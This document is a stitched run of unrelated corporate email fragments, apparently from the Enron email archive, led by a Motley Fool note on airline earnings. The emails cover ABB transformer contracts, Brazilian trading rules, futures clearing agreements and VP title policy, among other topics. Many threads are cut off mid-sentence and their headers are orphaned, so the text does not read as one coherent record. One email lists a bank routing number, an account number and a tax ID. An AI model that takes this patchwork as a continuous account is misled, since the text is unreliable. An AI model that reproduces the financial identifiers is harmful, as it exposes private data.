Would be a good idea for the U.S., wouldn't it? Dream on.

Continental Airlines (NYSE: CAL) announced today third-quarter
earnings of $2.24 a share, a 54% jump over last year. This
exceeded First Call consensus estimates of $2.19 a share (click
here for a Foolish take on earnings estimates). The company
trumpeted its 22nd consecutive profitable quarter. Passenger
revenue increased in every geographic market, ranging from 12.2%
domestically and 27.9% for transatlantic traffic.
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Continental may be smiling, but Delta Airlines (NYSE: DAL)
isn't. Its pilots' contract proposal seeks huge pay increases
and parity with pilots for United Airlines (NYSE: UAL). The
pilots agreed in 1996 to a 2% pay cut and other work concessions
to assist Delta's turnaround. They now want 30-49% raises over
three years, which would bring basic pay for a 777 captain with
12 years experience to $267,600. (Would we feel safer?) Gregg
Holm, a spokesman for the Air Line Pilots Association, called
this "United [Airlines] plus."

Check out Friday's Foolish market wrap-up with one swift click!
http://www.fool.com/m.asp?i=155937

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.

MsgId: msg-6995-B10165557Address.msg-09:08:35(10-16-2000)

You may think you've seen this, but don't be so sure.  There's lots of good 
stuff on this one - takes a while to see it all, but worth it (probably only 
if you're Republican, though!).  Be sure to click on "Palm Beach Pokey,"  
"GORinch," and the other links at the top of the page.  

Have a great weekend!  SRS

 - Dancin Dubya.htm

I will review it tomorrow and touch base with you or Kay.  I will be at a
closing the next two days, which has tied me up for weeks, but 99% of the work
for it should be done today.  That will give me time to focus on this.  I will
call tomorrow.

|------------->
|(Embedded    |
|image moved  |
|to file:     |
|pic16357.pcx)|
|             |
>------------------------------------------------------------------------|
|Dale.Rasmussen@enron.com                                                |
|12/18/2000 06:57 PM                                                     |

To:   David Onuscheck/ETI/USTRA/ABB@ABB_USTRA
cc:   Kay.Mann@enron.com
Subject:  Facility Agreement--"breakout contract"

Security Level:?         Internal

Kay Mann passed along your e-mail address when I asked about how I could be
of help in moving the Facility Agreement "breakout contract" forward.

I am working on a transaction that will require that we have the ability to
move two of the ten transformers Enron North America, as agent, purchased
from ABB.  The transaction is expected to be signed prior to the end of the
year.

The counterparty to our transaction has pressed us for a copy of the
contract under which the transformers will be conveyed.  I understand that
you have been working with Kay on the form of contract.  To the extent that
I can provide any input or can otherwise move the process along, I am
anxious to do so.

Please give me a call to discuss how we can move the process forwards.  I
can be reached at (503) 464-8863.

Thanks.

 - pic16357.pcx

RB - Discard the file sent earlier.  Following is an adjustment providing a 
bit more detail.

Sara;

Are you also involved in EnronOnLine ?  I only got a copy of an EOL summary 
but would like to receive a more detailed memo about such business.  Can you 
provide me with any additional materials ?!

Thanks,

Sami

Sara Shackleton@ECT
05/04/2000 04:29 PM
To: Sami Arap/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Andrea Calo/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Subject: Re: Financial Trading in Brazil

Hi, Sami!  Sorry we missed the call yesterday.  I just wanted to update you 
on some of the financial trading issues in Brazil (and I have added you to 
the working group list).  I am going to finalize our "swap matrix" for 
Brazil.  On the physical trading side, I had asked a physical trading lawyer 
to call you and am wondering if Elizabeth Sager ever called or emailed.  
Please let me know.  Thanks.  Sara 
02:55 PM ---------------------------

"MBTOS - Marcelo Rodrigues" <Mbtos@tozzini.com.br> on 05/04/2000 01:21:59 PM
To: Sara.Shackleton@enron.com
cc: Andrea.Bertone@enron.com, Brent.Hendry@enron.com, Lynn.Aven@enron.com, 
Rick.Hopkinson@enron.com, afac@tozzini.com.br, Krishna@tozzini.com.br 

Dear Sara:

Thank you for your message below. Please find attached hereto free 
translation into English of new foreign investor's regulations in Brazil. We 
are preparing a memo to you in connection with such new regulations and are 
finalizing the matrix prepared last year. We will send them to you shortly.

10:34

Dear Sara:

possible.

to
1999.
think

 - Res2689a.doc
 - Ins325a.doc

My finger was just to darn fast to hit the send button.  Here's the 
attachment.

Dave Foti's presentation on Deal Profitability has been moved to next Friday, 
July 7, 1:30 - 2:30 in EB-48C2.  Please adjust your calendars accordingly,

adr
---------------------- Forwarded by Audrey Robertson/ET&S/Enron on 06/28/2000 

Kevin Hyatt
06/21/2000 02:06 PM
To: Market Team
cc: sharris1@enron.com, David Foti/ET&S/Enron@ENRON 

Subject: Deal Profitability Training

On Wed 6/28 Dave Foti will present to us the new Deal Profitability System 
being implemented via the Intranet.  This system will help us better 
understand the actual profitability of transport deals we negotiate relative 
to the fuel consumed while taking into account other utilization factors on 
the pipe.

Meeting will be held from 2-3pm in room 48c1

R:

It looks like we cannot use the Grant stuff as green.

C

From: 	Rosman, Stewart  
Sent:	Tuesday, October 23, 2001 6:03 PM
To:	Foster, Chris H.
Subject:	Grant Green

Jeff at Grant confirmed that we cannot use the green as small hydro it was already allocated.

---------------------- Forwarded by Gary W Lamphier/HOU/ECT on 01/28/2000 
From: Lee L Papayoti on 01/19/2000 05:30 PM
To: James A Ajello/HOU/ECT@ECT, Wendy King/Corp/Enron@ENRON, Jim 
Crump/Corp/Enron@ENRON, Andrew Wilson/Corp/Enron@ENRON, Glenn 
Wright/Corp/Enron@ENRON
cc: Gary W Lamphier/HOU/ECT@ECT, James Mackey/HOU/ECT@ECT 
Subject: Customer list

As requested, here is the list of HPL's industrial customers in Texas:

We have moved the Wednesday V@R luncheon from 19C2 to 19C1
beginning today. 

Thanks!

Shirley

Sheila:

Please send the futures and repo agreements to me.  What futures products 
will Gary be trading and which exchanges? 

Please continue to send brokerage agreements to Cheryl.

Thanks.

	Sheila Glover
	04/25/2001 08:19 AM
		 
		 To: Cassandra Schultz/NA/Enron, Cheryl Nelson/NA/Enron@Enron, David 
Port/Market Risk/Corp/Enron
		 cc: Sara Shackleton/HOU/ECT@ECT, Mary Nordstrom/ENRON@enronXgate, Theresa T 
Brogan/HOU/ECT@ECT, Gary Hickerson/HOU/ECT@ECT, Gary Hickerson/HOU/ECT@ECT, 
William S Bradford/HOU/ECT, Greg Whiting/Corp/Enron, Kim S 
Theriot/HOU/ECT@ECT, Gerri Gosnell/HOU/ECT@ECT
		 Subject: New Futures Execution and Clearing Agreements

Cassandra, Cheryl and David,
Gary requested this morning that we add Goldman Sach's Futures Clearing 
capability as well.  I will request  account opening information from them 
and forward to legal.
Sheila
---------------------- Forwarded by Sheila Glover/HOU/ECT on 04/25/2001 08:18 
   
	From:  Sheila Glover                           04/24/2001 03:02 PM
	
To: Cassandra Schultz/NA/Enron, Cheryl Nelson/NA/Enron@Enron, David 
cc: Sara Shackleton/HOU/ECT@ECT, Mary Nordstrom/ENRON@enronXgate, Theresa T 
Theriot/HOU/ECT@ECT 
Subject: New Futures Execution and Clearing Agreements

Gary has requested that we establish new futures execution and clearing 
agreements with Solomon Smith Barney/Citigroup and Morgan Stanley.  I will 
forward the agreements when we receive them to Cheryl Nelson in Legal for 
review.

Prudential is exiting the business and the prior people at Pru have moved to 
SSB.  

Please do not hesitate to call, 3-3210,  if you have any questions.
Sheila

 I hope you had an enjoyable summer and it didn't go too quickly.   I hope 
you remember who I am from last years application process.  I enjoyed meeting 
you last year and talking with  you regarding the curriculum and admissions 
process.  I wanted to let you know that I am still very much interested in 
attending the Business School.  
 I took your advice this summer and took a graduate level finance class 
(Financial Management), which I received an A.  I was very pleased with 
myself, because I had not taken this type of class in quite some time.  I 
have decided to take another graduate level finance class (Macroeconomics), 
which I am currently taking and runs through December.  
 I also sent my information regarding my learning disability into GMAC to try 
and receive a "special testing status" for the GMAT.   I am currently waiting 
to hear back from them with their decision.
 As you can see, I am still very much interested in attending the Business 
School for next year and I'm in the process of doing whatever I can to 
increase my application profile.  I am also sending an e-mail to Carl Harris, 
who heads up the admissions process  to inform him of these recent 
developments. 
 Please let me know if there is anything else you think I need to do to 
enhance my application profile.   Again, I hope all is going well and I look 
forward to hearing from you soon 

Regards,

Ben Rogers

P.S. David Martin says hello!

I just entered the following 2 deals in Sitara for September, deals 433359 
and 433385.  Please path these deals in Unify.

Thanks

Bob,

I spoke to Jeff.  He said he would not pay anything. I am waiting for John to 
be in a good mood to ask.  What is plan B?

Phillip

If you would like, the team will be prepared to show live demonstrations of 
the latest versions of all four CommodityLogic modules next Thursday, 
December 21st.  This would probably require about 2 hours.  The versions 
displayed will be:

Financial Management Module 2.0
Financial Invoice Exchange 1.1
Confirm Central 1.0
Contract Exchange 1.0

Please let us know if you are interested in attending.

Tom

Morela,
I don't know if you got this:

Brazil's Cenibra getting $100 million investment to expand pulp
09/25/2001 10:05:35, SABI 
Brazil, Sept. 24, 2001 (Gazeta Mercantil) -- After investments of US$650mil to take the control of woodpulp producer Cenibra, the consortium JBP (Japan Brazil Paper and Pulp Development Co) has decided to expand business. Cenibra will receive US$100mil investment to increase its capacity at Belo Oriente facility, Minas Gerais state, from the current 800,000 to 1 million tonnes per year. In 2000 the company registered R$838.6mil net earning, and R$229mil net profit. Its net worth reached R$609.6mil.	

We can discuss this am.
---------------------- Forwarded by Kay Mann/Corp/Enron on 07/06/2000 08:35 
   
	From:  Lisa Bills                           07/05/2000 09:02 PM
	
cc: Ben Jacoby/HOU/ECT@ECT, Herman Manis/Corp/Enron@ENRON, Matthew 
Berry/HOU/ECT@ECT, Carl Tricoli/Corp/Enron@Enron, Thomas M 
Suffield/Corp/Enron@ENRON, Matthew F Gockerman/HOU/ECT@ECT, Roseann 
Engeldorf/Corp/Enron@ENRON, robtaylor@andrews-kurth.com 

Subject: ABB Agreement for Review

Here are my comments:

Assignment Language:
in (i) "WestLB" should be changed to "Purchaser"
in (ii) - although this is a business point I think it is important to 
question: why should we provide credit support to the JV/partnership/llc when 
we are required to keep a min. 19.5% interest?  This is not a GE requirement 
and it is a doubling up of Enron-type support which will make the venture 
much more expensive to finance.

Purchase Agreement:
Def. of Business Day:  let's add New York since this is where WestLB funds 
from.
2.1(B):  It should be "Agent's" person to approve change orders, not 
"Purchaser's"
2.2:  "Purchaser" should be used rather than "WestLB" since it is not as 
limiting.
7.1:  Why is the Effective Date backdated to the date of the first option 
agreement execution date?
Exhibit N - Purchase Amount Reconciliation:  The total amount of the three 
purchase amounts is $78M less than the same amounts detailed in the latest 
Option Agreement.  I'd like to understand why this is, especially in light of 
the Effective Date in 7.1, to insure that AA won't determine that the Option 
Premiums paid were somehow a deposit or credit toward the purchase price of 
the transformers.

---------------------- Forwarded by Lisa Bills/Corp/Enron on 07/05/2000 08:45 

Matthew Berry@ECT
07/05/2000 02:43 PM
To: Lisa Bills/Corp/Enron@ENRON
cc:  

---------------------- Forwarded by Matthew Berry/HOU/ECT on 07/05/2000 03:42 
   
	From:  Kay Mann @ ENRON                           07/05/2000 02:36 PM
	
To: Herman Manis/Corp/Enron@ENRON, Matthew Berry/HOU/ECT@ECT, Carl 
Tricoli/Corp/Enron@Enron, Thomas M Suffield/Corp/Enron@ENRON, Matthew F 
Gockerman/HOU/ECT@ECT, Ben Jacoby/HOU/ECT@ECT
cc:  

I've made some changes to the assignment language of the ABB contract. The 
language is not identical to the LM 6000 language, but is substantially the 
same, and in some respects better.  Please let me know if you have any 
substantive comments:

I am also attaching the current draft of the contract.  It is being revised 
to incorporate delivery dates and to clarify the scope to include 
installation obligations of ABB (haul and install).  Also, in the fourth line 
of the first paragraph, the word "Purchaser" will be added to the 
parenthetical, after "WestLB". Any other changes should be very minor or 
technical.

We are trying to get this finished this week.  Please let me know if you have 
any questions or comments.

Kay

---------------------- Forwarded by Kay Mann/Corp/Enron on 07/05/2000 02:25 
From: Kathleen Clark@ENRON_DEVELOPMENT on 06/30/2000 01:40 PM
To: ben.jacoby@enron.com, kay.mann@enron.com
cc:  

Attached is the latest ABB agreement for your review:

Additional information:   For the next week the 1.5 project priorities for 
the System Performance Group are:
1)  Load up most recent  Mon files for April at site indicated in attached 
spreadsheet.
2)  Load backlogged minana and statdat files for Clear Sky and Trent in order 
to close gaps.   A customer wants us to conduct an analysis in the near 
future with this data.   Mark Fisher says that he gave you graphs which 
highlights gaps in the STAR 10 min data.   Is that adequate?
3)  All other data.

Mark V Walker
04/15/2002 07:46 AM
To: Patricia Hunter/EWC/Enron@ENRON, Rabi Sahoo/EWC/Enron@ENRON
cc: Mark Fisher/EWC/Enron@Enron, John M Ruiz/EWC/Enron@Enron 

Subject: Visupro Upload Status Spreadsheet

To expedite the use of this spreadsheet I onlyl show the most recent (April) 
files.   Late March  files will be added in future releases of this 

Good job.

Jim

From: 	Yeung, Charles  
Sent:	Monday, October 29, 2001 3:27 PM
To:	'mbennett@epsa.org'
Cc:	Bestard, Jose; Steffes, James D.
Subject:	Enron Support for SRO

Mark

Here is a document Enron has prepared that describes what we want to see in a wholesale electric Standards Setting Organization (SSO).

I hope you will be able to consider these points for the letter you will be drafting from EPSA to the NERC Board of Trustees. 

Please do not distribute this until Jose Bestard, as member of the Stakeholder Committee, has had an opportunity to convey this to Mike Gent.

Thanks
Charles

 << File: Enron Principles on Electric SSO3.doc >> 

The plans are up in the air. The first weekend that we are all free is the 
weekend of Feb 26.(if you can't make it that weekend, let me know.) If all 
three of us come, there is probably 4-6 hours of work. I would propose that 
we bring Ben,James and Ryan only. I will arrive Fri night and leave Sun 
morning. Let me know what you think.

John Sanders MD <johnbepa@macol.net> on 01/12/2000 08:20:01 AM
To: Richard B Sanders/HOU/ECT@ECT, "Doug Sanders" <namuathome@aol.com>
cc:  
Subject: Perd

Doug and Richard,

Is the Perd going to be all work and no play? I'm trying to decide if I'm
going to take Ryan with me. We could leave around 4 PM on Friday. I could
leave much sooner, if I weren't taking him with me (school and all). I
don't think he'll be
much help to what we're doing, but he'd probably have more fun than if he
he
were to stay at home.

So, when do you guys think you'll get there? How long do you think you'll
stay? Are any of your kids going?

John

fyi

From: Michael S. Richards [mailto:msrichards@duke-energy.com]
Sent: Wednesday, March 27, 2002 4:40 PM
To: Proctor, Shemin V.
Subject: RE: DEFS/Enron Letter Agreement

Shemin, I am fine with this change and the change in the amount for the
post-bankruptcy if that is what the business people agreed to.

                    "Proctor,

                    Shemin V."           To:     "Michael S. Richards"
<msrichards@duke-energy.com>                
                    <sproctor@akll       cc:

                    p.com>               Subject:     RE: DEFS/Enron
Letter Agreement                              
 
                    03/27/02 03:15

                    PM

I propose to add the following language to the Purchase Price paragraph
and otherwise both agreements are fine with me:
"The Purchase Price shall be paid to ENA by wire transfer of available
funds to the following account: Enron North America Corp., Citibank New
York, ABA 021 000 089, Acct# 40781075."

In addition, the contact information for Lloyd Don Miller is
713-853-0492
713-646-2555 (fax).

Mike, Please call me if you have any questions.

Shemin

Sent: Wednesday, March 27, 2002 3:09 PM
Cc: gaswidensky@duke-energy.com; joe.parks@enron.com;
stuart.zisman@enron.com
Subject: Re: DEFS/Enron Letter Agreement

Attached you will find minor revisions to these agreements marked in
red.
CIPCO is now an LLC so we have reflected it that way in the agreement.
We
also filled in information for the blanks.  Otherwise, everything looks
great.  Also, for your information, Brian S. Frederick, Vice President,
will sign the letter and escrow agreement for CIPCO.  CIPCO's tax ID #
is
84-1484857.  I filled in the contact information for the Escrow
Agreement.
Let me know if you have any questions.  Thanks.

(See attached file: Centana Letter AgreementRev1.DOC)(See attached file:
ESCROW AGREEMENTREV1.DOC)

                    "Proctor,

                    Shemin V."           To:     <joe.parks@enron.com>,
<msrichards@duke-energy.com>,
                    <sproctor@akll        <gaswidensky@duke-energy.com>

                    p.com>               cc:
<stuart.zisman@enron.com>
                                         Subject:     Attached Files

                    03/27/02 07:50

                    AM

Attached are the final drafts of the Letter Agreement and Escrow
Agreement. Please contact me if you have any questions or comments.
Regards,
Shemin
 <<Centana Letter Agreement.DOC>>  <<ESCROW AGREEMENT.DOC>>
(See attached file: Centana Letter Agreement.DOC)(See attached file:
ESCROW
AGREEMENT.DOC)

Hi daddy, its Maggie! I just wanted to e-mail you and  tell you i love you 
and Nora got an award at her soccer awards, the  Sportsmanship Award! I got a 
91 on my history test! I love you daddy, have a  good day.

love,

Maggie

 - Clear Day Bkgrd.JPG

The Entergy meeting will be held at 12:00 (High Noon) in room 3125a.  Thanks 
for your attendance.
Ben
3-7998

I agree -  a fundamental assumption of the MNA is that square setoff works and that you can setoff financial and physical commodity contracts.  To make it work, all parties must sign the MNA.  From there you need to believe that square setoff works and that the bankruptcy court will allow the setoff and not make an issue of "the lack of mutuality" taking into consideration that the assets of the bankrupt party may be being used to satisfy liabilities of the non-bankrupt party.

From: 	Crawford, Sharon   On Behalf Of Keohane, Peter
Sent:	Tuesday, August 07, 2001 4:46 PM
To:	St. Clair, Carol; Sager, Elizabeth
Cc:	Haedicke, Mark E.; 'Robert.Anderson@blakes.com'; Flaman, Derek
Subject:	Master Netting, Set-off and Collateral Agreement

As you know, we are working on the master netting, set-off and collateral agreement to be used with multiple entities, multiple products and cross-border.  I hope to have our comments on the form by the end of the week.  Hopefully we can then settle on a form and proceed for use with counterparties, such as Engage, etc.

One specific issue, however, is the incorporation of the type of set-off language that has been recently proposed by the Legal Trading Committee and, in particular, the use of "triangular" set-off.  The Legal Trading Committee agreed to restrict the set-off rights of the non-defaulting party to "triangular" set-off for two reasons:

1.	"rectangular" set-off would be stretching the privity/enforceability issue where the non-defaulting party's affiliates were not a party to the master agreement; and

2.	"rectangular" set-off could be stretching commercial acceptability with counterparties.

However, in the structure of a master netting, set-off and collateral agreement, I believe both these issues go away, and I think that "rectangular" set-off is in fact consistent with the arrangement.  Firstly, unlike a master trading agreement, under the master netting agreement both the non-defaulting party and the non-defaulting party's affiliates, as well as the defaulting party and the defaulting party's affiliates, all should be parties to the agreement, therefore addressing the privity issue.  Secondly, in terms of commercial acceptability, by definition I believe that the parties are agreeing to an omnibus relationship for setting off positions and collateral requirements across all product lines with all trading affiliates.

Please let me have your thoughts.

Regards,
Peter

 John, below are the identified associate/analyst needs for the East Power Trading Team as requested.

Summer Interns   Total Count: 10

Fundamentals (Lloyd Will, Rika Imai) : 6

Power Scheduling  (Corry Bentley): 2

Realtime- (confirmations nighttime roles)  (Juan Hernandez):  2

Candidates Requested:

Sunitunder Sekhon
Jeffery Wolfe
Justin Chen
Chris Mrema
Arvindh Kumar
Raiford Smith
Richard Matthwe Hobson
Michael Finger
Joseph Spector
John Grace
Albert Brancaccio
Iam Salmon
Ben Woods  (pre-selected)

Off Cycle Candidates:  Total: 5
(Interviewed and preselected by Lloyd Will)

Fundamental Analysis  (Lloyd Will, Rika Imai): 5

Carrie Larkworthy
Bryce Fraser
Cory Willis
Utku Gulmenden
Bryan Gottfredson

Fall Analysts/Associates  Total:  8

Fundamental Analysis and Trading Backfill  (Lloyd Will, Rika Imai): 8

Please see previous email for Kevin Presto's previously ranked selections.

Attached are  EES's Volumetric NYMEX and Basis positions for 7/20/2000.   

Thanks,

Kyle

---------------------- Forwarded by Tori Kuykendall/HOU/ECT on 01/08/2001 
12:20 PM ---------------------------

Tori Kuykendall
01/08/2001 12:21 PM
To: Melba Lozano/HOU/ECT@ECT, Robert B Cass/HOU/ECT@ECT
cc:  
Subject: product description change

We would like to begin trading a new product on EOL.  The location - PG&E 
Topock -  has already been set up, but we would like to make a small change 
to the long description.  The line which reads  -  "The transaction is for 
delivery at PG&E, El Paso."  should be changed to "The transaction is for 
delivery at PG&E Topock"    Please let me know when we can review the change, 
as Mike Grigsby would like to begin trading this product as soon as 
possible.  Thanks.

As a follow up to our discussion earlier this week on commercialization of mid and back office services and managing those responsibilities for EWS, I will have a timeline for your review on Monday that will pinpoint key dates:  Unify conversion, EES absorption, HPL sale, commercialization, Todd Busby's arrival, etc.  I will also have details of resource needs.  We can use this to set internal expectations on the timing of successfully handling all of these initiatives.  I will welcome your comments on the timeline.  --Sally 

This is to remind all employees that, as earlier instructed, in view of the pending and threatened legal proceedings involving the company, no company records, either in electronic or paper form, should be destroyed.  In the event of an office closing, please contact Bob Williams at (713) 345-2402 to arrange for storage of any records.

Please call Bob with any questions.  

Thanks for your message. I do think we need to talk this through.  In the 
meantime, though, let's not make anymore VPs until this is resolved.  As I 
said in my original message, I am not looking to undo what has been done, but 
to make sure we don't do it again unless the process is followed.

 I understand that there are significant title differences across the regions 
we operate.  In fact, one of the people in my organization who did not make 
VP is Dennis Vegas, who has done an extraordinary job in Latin America.  
Notwithstanding his regional focus (and the significance of a VP title in his 
region) he was put through the company wide process and he, David Haug, and I 
submit, everyone else on the Exec Comm, understood that every new VP would go 
through the same process regardless of regional assignment (with the 
exception of certain joint venture companies). But, I maintain that we need 
some consistency in the VP title in particular -- i.e. that it remain an 
Enron-wide title, granted only through the PRC process.  Though I don't 
personally feel this way, for many people in the organization the VP title 
means something separate from the compensation structure; it implies 
something like "making partner" in a legal or consulting firm. Making that 
cut should not vary based on where you live or what region you support.

 I also understand the point about needing a certain title for external 
purposes.  In my organization we are dealing with very title-conscious 
elected officials and media.  I can make the case for every one of my 
directors and senior directors that they would be more effective externally 
if they carried a more senior title, regardless of any change in 
compensation.  As an executive committee, we elected to make such an 
exception only for "legacy" title holders -- i.e. people who had previously 
made VP outside the process.  Everyone in my organization

To: Cindy Olson@ENRON, Steven J Kean@EES
cc: Sanjay Bhatnagar/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 
Subject: Job Titles and Job Banding

From reading the e-mails on the issue regarding Regional Vice President at 
Enron India, it sounds like there will be more discussion on this issue. I 
know that issues like this generally come up at the Enron ExCom level. There 
are a few issues that need to be kept in mind, and although Cindy and I have 
discussed these in the past, I have not had an opportunity to pursue them 
further (but would be happy to help out on this). I have noticed these not 
only in India but also in the other international settings where I have 
worked for Enron during the past several years.

1. International job titles and domestic job titles do not correlate. For 
example, in India, the title "Director" implies a very senior person within 
the organization (well above VP), whereas in the Enron domestic world, it is 
a position below VP. "Managing Director" within Enron is below the most 
senior levels, but in India a MD is the Ken Lay equivalent. For this reason, 
I cannot use Managing Director in my title or on my business card, although 
this is my title for Enron Houston purposes. 

2. Job titles are much more important in an international setting than in a 
domestic setting. For example, in Houston, we have people at the director 
(and probably manager) level who lead deal teams and bring deals to 
successful closing. In an international setting, particularly India, to get 
to the decision-makers in your counterpart organization, an officer title of 
VP or above is very often required. To a certain degree, this is form over 
substance, but that's what works over here.

3. To solve some of these problems, Enron should consider doing what some 
other international companies have done (and I think Cindy and her team may 
already be working on this). A job banding study should be done and based on 
responsibilities, everyone globally should be placed in a band. It would not 
be a title band of VP or director or manager, but rather a band with a 
non-title classification. I hate to suggest a band with numbers, such as 1 
through 15, because that sounds way too much like the government, but 
something like that would work. Once this is done, communication is made to 
employees that the band is what is key in determining their compensation and 
level within the organization. Then, the business units can rely on their 
particular market dynamics or on what their competition is doing to determine 
job titles. Thus if the Global Origination group needs to have a title of 
Senior Trader and EECC needs a title of Project Leader and Enron India needs 
a Regional Vice President, all can be accomplished while keeping these same 
people at a consistent level for global Enron purposes.

I will be happy to discuss this further with any of you. Plus, I will 
volunteer to participate in finding a solution that works for all of Enron 
while taking into account  the specifc business unit and/or global function 
needs.

Wade

John, Ken said that he does support you extending the offer.

Rosie

From: John J Lavorato/ENRON@enronXgate@enronXgate on 04/30/2001 11:30 AM
Sent by: Kimberly Hillis/ENRON@enronXgate
To: Wade Cline/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Joannie 
Williamson/Corp/Enron@ENRON, Cliff Baxter/ENRON@enronXgate, James A 
Hughes/ENRON@enronXgate, Steven J Kean/NA/Enron@Enron, Mike 
McConnell/HOU/ECT@ECT, Rebecca McDonald/ENRON@enronXgate, Mark 
Metts/Enron@EnronXGate, Stephanie Harris/ENRON@enronXgate, Maureen 
McVicker/NA/Enron@Enron, Loretta Brelsford/ENRON@enronXgate, Dolores 
Fisher/Enron@EnronXGate, Sherri Sera/Corp/Enron@ENRON, Jana L 
Paxton/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Connie 
Blackwood/ENRON@enronXgate, Mrudula 
Gadade/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Cliff Baxter/ENRON@enronXgate, 
Mark Frevert/ENRON@enronXgate, Nicki Daw/ENRON@enronXgate, Lucy 
Marshall/Enron Communications@Enron Communications, Kathy 
McMahon/NA/Enron@Enron, Jeremy Blachman/HOU/EES@EES, Philippe A 
Bibi/ENRON@enronXgate, Raymond Bowen/ENRON@enronXgate, Michael R 
Brown/LON/ECT@ECT, Harold G Buchanan/HOU/EES@EES, Rick Buy/ENRON@enronXgate, 
Richard Causey/Corp/Enron@ENRON, David Cox/Enron Communications@Enron 
Communications, David W Delainey/HOU/EES@EES, James Derrick/ENRON@enronXgate, 
Steve Elliott/Enron Communications@Enron Communications, Andrew S 
Fastow/ENRON@enronXgate, Ben Glisan/HOU/ECT@ECT, Kevin Hannon/Enron 
Communications@Enron Communications, Rod Hayslett/ENRON@enronXgate, Stanley 
Horton/Corp/Enron@Enron, Louise Kitchen/HOU/ECT@ECT, Mark 
Koenig/Corp/Enron@ENRON, Kenneth Lay/Corp/Enron@ENRON, Dan Leff/HOU/EES@EES, 
Danny McCarty/ET&S/Enron@Enron, Jeffrey McMahon/ENRON@enronXgate, Mark S 
Muller/HOU/EES@EES, Cindy Olson/Corp/Enron@ENRON, Lou L Pai/HOU/EES@EES, Ken 
Rice/Enron Communications@Enron Communications, Matthew 
Scrimshaw/LON/ECT@ECT, Jeffrey A Shankman/ENRON@enronXgate, Jeffrey 
Sherrick/ENRON@enronXgate, John Sherriff/LON/ECT@ECT, Jeff 
Skilling/Corp/Enron@ENRON, Marty Sunde/HOU/EES@EES, Greg Whalley/HOU/ECT@ECT, 
Thomas E White/HOU/EES@EES, G G Garcia/ENRON@enronXgate, Susan 
Skarness/ENRON@enronXgate, Karen K Heathman/ENRON@enronXgate, Sharron 
Westbrook/Corp/Enron@ENRON, Kay Chapman/HOU/EES@EES, Bridget 
Maronge/ENRON@enronXgate, Inez Dauterive/HOU/ECT@ECT, Carol Ann Brown/Enron 
Communications@Enron Communications, Cindy Stark/Corp/Enron@ENRON, Rosalee 
Fleming/Corp/Enron@ENRON, Tori L Wells/HOU/ECT@ECT, Cathy 
Phillips/HOU/ECT@ECT, Sue Ford/ENRON@enronXgate, Karen Owens/HOU/EES@EES, 
Dorothy Dalton/Enron Communications@Enron Communications, Mercedes 
Estrada/Enron Communications@Enron Communications, Christina 
Grow/ENRON@enronXgate, Lauren Urquhart/LON/ECT@ECT, Laura 
Taylor/ENRON@enronxgate, Judy G Smith/HOU/EES@EES, Suzanne 
Danz/Corp/Enron@ENRON, Peggy McCurley/ENRON@enronXgate, Marsha 
Schiller/ENRON@enronXgate, Tammie Schoppe/HOU/ECT@ECT, Kimberly 
Hillis/ENRON@enronXgate, Jennifer Burns/ENRON@enronXgate, Sharon 
Dick/HOU/EES@EES, Beverly Aden/HOU/EES@EES, Kathy Dodgen/HOU/EES@EES, Leah 
Rijo/Enron Communications@Enron Communications, Kathy 
Campos/ENRON@enronXgate, Julie Armstrong/Corp/Enron@ENRON, Kelly 
Johnson/Corp/Enron@ENRON, Rebecca Carter/Corp/Enron@ENRON
cc:  
Subject: VP Candidate Greg Shea

I would like to pursue an offer to Mr. Shea prior to the next Executive 
Committee meeting on May 7, 2001.  Please forward your comments or questions 
by Tuesday, May 1, 2001 so that I can extend the offer by Wednesday, May 2, 
2001.

You will find attached the recommendation letter and his resume.

Regards,

John Lavorato

Tammie Schoppe on behalf of John Lavorato.

Date: Wed, 05 Dec 2001 08:28:37 -0600
From: "Dave Molnar" <DaveM@cajunusa.com>
To: "Mark Molnar" <MarkM@cajunusa.com>
Subject: Chris Simms brings balance to the force
Content-Type: text/plain; charset=3D"us-ascii"

Many people are concerned with the state of Chris Simms confidence going in=
to next season now that he has been benched for the bowl game.  There is no=
 reason for panic as the scenario shall play out like this.  The Longhorns =
and Huskies will be tied at 28 late in the fourth quarter of the Holiday Bo=
wl.  Applewhite will lead the Horns on a miraculous 50-yd drive down to the=
 Washington 30-yd line with only 10 sec left on the clock.  Between plays A=
pplewhite will look over at the Golden Boy standing on the sideline and rec=
ognize that the time is now for Simms to fulfill his Destiny.  As the Star =
Wars music plays in the background, Applewhite will lead the Horns up to th=
e line of scrimmage.  In Obi-Wan Kenobi-to-Darth Vader fashion, Major will =
look across the line at the Huskies defense and say,"Strike me down and I s=
hall become more powerful than you could ever imagine."  As the ball is sna=
pped, Major drops back in the pocket and then stands motionless, allowing t=
he Huskies linebackers to pummel him.  Simms screams, "NO!!!" as Major lies=
 motionless on the field.  Major is carted off the field with numerous brok=
en bones while the Golden Boy takes his warm-up tosses on the sideline.  Th=
e clock sits at 4 seconds remaining as Simms trots onto the field.  Only en=
ough time for one try at the endzone.  Simms walks to the line, takes the s=
nap and begins to look over the field.  As Simms prepares to unload a blazi=
ng bullet pass right into the hands of a Washington safety, he hears Major'=
s voice in his mind, "Use the force Chris, read the field".  The Golden Boy=
 brings his throwing arm down, the Star Wars music plays once again, and Ch=
ris looks over the entire field for the first time since playing the School=
 for the Blind back in Jersey.  Simms spots Roy Williams wide open, closes =
his eyes, and fires a 30 yd touchdown pass for the victory.  And hence the =
legend of the Golden Boy is alive and well.

Stay tuned for the next episode as Chris learns that his father is not ex-p=
layer/broadcaster Phil Simms, but is actually broadcaster Dennis Miller

As you know, this is an unprecedented time in Enron's history.  We must adapt our employee programs to fit the immediate needs of our company during this time of transition.  It is especially difficult to announce the immediate suspension of the following programs.

?	ClickAtHome - Enron has suspended the ClickAtHome program.  The program will no longer accept new participants, PC orders, or Internet service orders.  Orders submitted and confirmed prior to November 20, 2001 will be honored.  Enron will also discontinue subsidized Internet service.  Effective January 1, 2002, employees who are currently subscribers to subsidized Internet service will be switched to the regular commercial rate of their service provider and be responsible for the entire cost of the service.
?	Matching Gifts and Volunteer Incentive Program (VIP) - Enron's Matching Gift program and VIP grants have been suspended indefinitely.  As we consider the immediate needs of all employees during this trying time, it is appropriate that we discontinue the dollar for dollar match for charitable contributions as well as cash donations recognizing employees' volunteer hours with non-profit organizations.  Matching Gift or VIP submissions received prior to November 20 will be honored.

